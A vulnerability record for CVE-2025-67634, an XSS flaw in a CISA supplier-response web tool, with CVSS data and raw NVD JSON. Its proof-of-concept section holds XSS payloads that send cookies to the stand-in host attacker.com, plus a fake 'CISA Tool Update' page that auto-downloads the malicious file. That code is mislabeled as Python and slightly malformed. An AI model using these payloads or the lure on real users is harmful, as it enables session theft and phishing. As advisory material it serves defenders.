CVE-2025-67634

Description

The CISA Software Acquisition Guide Supplier Response Web Tool before 2025-12-11 was vulnerable to cross-site scripting via text fields. If an attacker could convince a user to import a specially-crafted JSON file, the Tool would load JavaScript from the file into the page. The JavaScript would execute in the context of the user's browser when the user submits the page (clicks 'Next').

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cisa:software_acquisition_guide:*:*:*:*:*:*:*:* - VULNERABLE

CISA Software Acquisition Guide Supplier Response Web Tool < 2025-12-11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

{
  "cve_id": "CVE-2025-67634",
  "poc_type": "XSS via JSON Import",
  "description": "Malicious JSON file to exploit stored XSS in CISA Web Tool",
  "malicious_payload": {
    "supplier_name": "<script>alert(document.cookie)</script>",
    "contact_email": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>',
    "notes": "<svg onload=\"fetch('https://attacker.com/log?data='+btoa(document.location))\" />"
  },
  "attack_steps": [
    "1. Attacker creates a malicious JSON file with XSS payload",
    "2. Attacker tricks victim into importing the JSON file",
    "3. Victim clicks 'Next' button to submit the page",
    "4. Malicious JavaScript executes in victim's browser context"
  ]
}

---
// Exploit HTML page for social engineering
<!DOCTYPE html>
<html>
<head>
    <title>CISA Tool Update</title>
</head>
<body>
    <h2>CISA Software Acquisition Tool - Update Required</h2>
    <p>Please download and import the latest configuration file:</p>
    <a href="malicious.json" download>Download Configuration</a>
    <script>
        // Auto-download trigger
        document.querySelector('a').click();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67634
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67634
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67634/
[4] VulDB https://vuldb.com/cve/CVE-2025-67634
[5] https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-345-01.json
[6] https://www.cisa.gov/software-acquisition-guide/tool
[7] https://www.cve.org/CVERecord?id=CVE-2025-67634

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67634", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-12T21:15:59.480", "lastModified": "2026-01-02T18:52:18.527", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The CISA Software Acquisition Guide Supplier Response Web Tool before 2025-12-11 was vulnerable to cross-site scripting via text fields. If an attacker could convince a user to import a specially-crafted JSON file, the Tool would load JavaScript from the file into the page. The JavaScript would execute in the context of the user's browser when the user submits the page (clicks 'Next')."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisa:software_acquisition_guide:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-11", "matchCriteriaId": "0FF25D14-2035-40E0-8203-F63469E4CC82"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-345-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/software-acquisition-guide/tool", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Product"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-67634", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Vendor Advisory"]}]}}